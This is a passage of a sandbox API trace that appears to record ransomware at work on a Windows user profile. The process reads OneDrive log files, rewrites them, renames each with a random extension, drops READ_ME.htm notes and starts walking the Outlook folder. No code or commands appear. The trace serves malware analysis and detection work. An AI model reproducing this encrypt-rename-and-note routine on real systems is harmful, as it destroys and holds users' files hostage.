(lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_378-458.log" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\setup\\logs\\2021-02-22_125735_378-458.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0146.249] GetFileType (hFile=0x1d0) returned 0x1 [0146.251] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_378-458.log", nBufferLength=0x105, lpBuffer=0x21ce70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_378-458.log", lpFilePart=0x0) returned 0x5c [0146.251] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_378-458.log.76wuve", nBufferLength=0x105, lpBuffer=0x21ce70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_378-458.log.76wuve", lpFilePart=0x0) returned 0x63 [0146.251] SetErrorMode (uMode=0x1) returned 0x0 [0146.251] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_378-458.log" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\setup\\logs\\2021-02-22_125735_378-458.log"), fInfoLevelId=0x0, lpFileInformation=0x21d0c0 | out: lpFileInformation=0x21d0c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe906fbd0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe906fbd0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0x53a82a60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x3b30)) returned 1 [0146.251] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_378-458.log" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\setup\\logs\\2021-02-22_125735_378-458.log"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_378-458.log.76wuve" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\setup\\logs\\2021-02-22_125735_378-458.log.76wuve")) returned 1 [0146.252] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_3c4-a98.log", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_3c4-a98.log", lpFilePart=0x0) returned 0x5c [0146.253] SetErrorMode (uMode=0x1) returned 0x0 [0146.253] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_3c4-a98.log" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\setup\\logs\\2021-02-22_125735_3c4-a98.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0146.253] GetFileType (hFile=0x1d0) returned 0x1 [0146.253] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d238 | out: lpFileSizeHigh=0x21d238*=0x0) returned 0x448a [0146.253] ReadFile (in: hFile=0x1d0, lpBuffer=0x29a7ef8, nNumberOfBytesToRead=0x448a, lpNumberOfBytesRead=0x21d118, lpOverlapped=0x0 | out: lpBuffer=0x29a7ef8*, lpNumberOfBytesRead=0x21d118*=0x448a, lpOverlapped=0x0) returned 1 [0146.342] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_3c4-a98.log", nBufferLength=0x105, lpBuffer=0x21cbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_3c4-a98.log", lpFilePart=0x0) returned 0x5c [0146.345] SetErrorMode (uMode=0x1) returned 0x0 [0146.345] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_3c4-a98.log" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\setup\\logs\\2021-02-22_125735_3c4-a98.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0146.347] GetFileType (hFile=0x1d0) returned 0x1 [0146.347] SetErrorMode (uMode=0x0) returned 0x1 [0146.347] GetFileType (hFile=0x1d0) returned 0x1 [0146.347] WriteFile (in: hFile=0x1d0, lpBuffer=0x28a3420*, nNumberOfBytesToWrite=0x4490, lpNumberOfBytesWritten=0x21d198, lpOverlapped=0x0 | out: lpBuffer=0x28a3420*, lpNumberOfBytesWritten=0x21d198*=0x4490, lpOverlapped=0x0) returned 1 [0146.349] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_3c4-a98.log", nBufferLength=0x105, lpBuffer=0x21ce70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_3c4-a98.log", lpFilePart=0x0) returned 0x5c [0146.350] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_3c4-a98.log.nfscjj", nBufferLength=0x105, lpBuffer=0x21ce70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_3c4-a98.log.nfscjj", lpFilePart=0x0) returned 0x63 [0146.350] SetErrorMode (uMode=0x1) returned 0x0 [0146.350] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_3c4-a98.log" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\setup\\logs\\2021-02-22_125735_3c4-a98.log"), fInfoLevelId=0x0, lpFileInformation=0x21d0c0 | out: lpFileInformation=0x21d0c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe8de8470, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8de8470, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0x53b8d400, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x4490)) returned 1 [0146.351] SetErrorMode (uMode=0x0) returned 0x1 [0146.351] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_3c4-a98.log" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\setup\\logs\\2021-02-22_125735_3c4-a98.log"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_3c4-a98.log.nfscjj" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\setup\\logs\\2021-02-22_125735_3c4-a98.log.nfscjj")) returned 1 [0146.353] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_4d4-a74.log", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_4d4-a74.log", lpFilePart=0x0) returned 0x5c [0146.353] SetErrorMode (uMode=0x1) returned 0x0 [0146.353] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_4d4-a74.log" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\setup\\logs\\2021-02-22_125735_4d4-a74.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0146.354] GetFileType (hFile=0x1d0) returned 0x1 [0146.354] SetErrorMode (uMode=0x0) returned 0x1 [0146.354] GetFileType (hFile=0x1d0) returned 0x1 [0146.354] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d238 | out: lpFileSizeHigh=0x21d238*=0x0) returned 0x1f4a [0146.354] ReadFile (in: hFile=0x1d0, lpBuffer=0x28a8960, nNumberOfBytesToRead=0x1f4a, lpNumberOfBytesRead=0x21d118, lpOverlapped=0x0 | out: lpBuffer=0x28a8960*, lpNumberOfBytesRead=0x21d118*=0x1f4a, lpOverlapped=0x0) returned 1 [0146.377] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_4d4-a74.log", nBufferLength=0x105, lpBuffer=0x21cbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_4d4-a74.log", lpFilePart=0x0) returned 0x5c [0146.378] SetErrorMode (uMode=0x1) returned 0x0 [0146.378] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_4d4-a74.log" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\setup\\logs\\2021-02-22_125735_4d4-a74.log"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0146.381] GetFileType (hFile=0x1d0) returned 0x1 [0146.381] SetErrorMode (uMode=0x0) returned 0x1 [0146.381] GetFileType (hFile=0x1d0) returned 0x1 [0146.381] WriteFile (in: hFile=0x1d0, lpBuffer=0x2992410*, nNumberOfBytesToWrite=0x1f50, lpNumberOfBytesWritten=0x21d198, lpOverlapped=0x0 | out: lpBuffer=0x2992410*, lpNumberOfBytesWritten=0x21d198*=0x1f50, lpOverlapped=0x0) returned 1 [0146.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_4d4-a74.log", nBufferLength=0x105, lpBuffer=0x21ce70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_4d4-a74.log", lpFilePart=0x0) returned 0x5c [0146.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_4d4-a74.log.uigyjm", nBufferLength=0x105, lpBuffer=0x21ce70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_4d4-a74.log.uigyjm", lpFilePart=0x0) returned 0x63 [0146.384] SetErrorMode (uMode=0x1) returned 0x0 [0146.384] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_4d4-a74.log" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\setup\\logs\\2021-02-22_125735_4d4-a74.log"), fInfoLevelId=0x0, lpFileInformation=0x21d0c0 | out: lpFileInformation=0x21d0c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0x53bd96c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x1f50)) returned 1 [0146.384] SetErrorMode (uMode=0x0) returned 0x1 [0146.384] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_4d4-a74.log" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\setup\\logs\\2021-02-22_125735_4d4-a74.log"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\2021-02-22_125735_4d4-a74.log.uigyjm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\setup\\logs\\2021-02-22_125735_4d4-a74.log.uigyjm")) returned 1 [0146.387] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0146.387] SetErrorMode (uMode=0x1) returned 0x0 [0146.387] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\logs\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\setup\\logs\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.388] GetFileType (hFile=0x1d0) returned 0x1 [0146.388] SetErrorMode (uMode=0x0) returned 0x1 [0146.388] GetFileType (hFile=0x1d0) returned 0x1 [0146.389] WriteFile (in: hFile=0x1d0, lpBuffer=0x29985c0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x29985c0*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0146.391] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\READ_ME.htm", lpFilePart=0x0) returned 0x45 [0146.391] SetErrorMode (uMode=0x1) returned 0x0 [0146.391] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\setup\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\setup\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.392] GetFileType (hFile=0x1d0) returned 0x1 [0146.392] SetErrorMode (uMode=0x0) returned 0x1 [0146.392] GetFileType (hFile=0x1d0) returned 0x1 [0146.393] WriteFile (in: hFile=0x1d0, lpBuffer=0x299cba0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x299cba0*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0146.411] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\READ_ME.htm", lpFilePart=0x0) returned 0x3f [0146.412] SetErrorMode (uMode=0x1) returned 0x0 [0146.412] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0146.413] GetFileType (hFile=0x1d0) returned 0x1 [0146.413] SetErrorMode (uMode=0x0) returned 0x1 [0146.413] GetFileType (hFile=0x1d0) returned 0x1 [0146.413] WriteFile (in: hFile=0x1d0, lpBuffer=0x29a1160*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x29a1160*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0146.415] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook", lpFilePart=0x0) returned 0x32 [0146.415] SetErrorMode (uMode=0x1) returned 0x0 [0146.416] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\outlook\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ce8e9d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x23884f50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x23884f50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0146.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ce8e9d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x23884f50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x23884f50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ce8e9d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2ce8e9d0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2ce8e9d0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gliding", cAlternateFileName="")) returned 1 [0146.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d32b470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21cff0f0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21cff0f0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x0, cFileName="mapisvc.inf", cAlternateFileName="")) returned 1 [0146.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23884f50, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x242a2cd0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x242a2cd0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamCache", cAlternateFileName="ROAMCA~1")) returned 1 [0146.417] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23884f50, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x242a2cd0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x242a2cd0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamCache", cAlternateFileName="ROAMCA~1")) returned 0 [0146.418] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0146.418] SetErrorMode (uMode=0x0) returned 0x1 [0146.418] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook", lpFilePart=0x0) returned 0x32 [0146.418] SetErrorMode (uMode=0x1) returned 0x0 [0146.419] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\outlook\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ce8e9d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x23884f50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x23884f50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0146.419] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ce8e9d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x23884f50, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x23884f50, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.419] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ce8e9d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2ce8e9d0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2ce8e9d0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gliding", cAlternateFileName="")) returned 1 [0146.419] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d32b470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x21cff0f0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x21cff0f0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x462, dwReserved0=0x0, dwReserved1=0x0, cFileName="mapisvc.inf", cAlternateFileName="")) returned 1 [0146.419] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23884f50, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x242a2cd0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x242a2cd0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamCache", cAlternateFileName="ROAMCA~1")) returned 1 [0146.419] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23884f50, ftCreationTime.dwHighDateTime=0x1d7100d, ftLastAccessTime.dwLowDateTime=0x242a2cd0, ftLastAccessTime.dwHighDateTime=0x1d7100d, ftLastWriteTime.dwLowDateTime=0x242a2cd0, ftLastWriteTime.dwHighDateTime=0x1d7100d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamCache", cAlternateFileName="ROAMCA~1")) returned 0 [0146.420] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0146.420] SetErrorMode (uMode=0x0) returned 0x1 [0146.420] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\gliding", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\gliding", lpFilePart=0x0) returned 0x3a [0146.420] SetErrorMode (uMode=0x1) returned 0x0 [0146.421] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Outlook\\gliding\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\outlook\\gliding\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ce8e9d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2ce8e9d0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2ce8e9d0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0146.421] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ce8e9d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2ce8e9d0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2ce8e9d0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.421] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ce8e9d0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2ce8e9d0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2ce8e9d0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0146.421] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0146.422] SetErrorMode (uMode=0x0) returned 0x1 [0146.422] GetFullPathNameW (in: 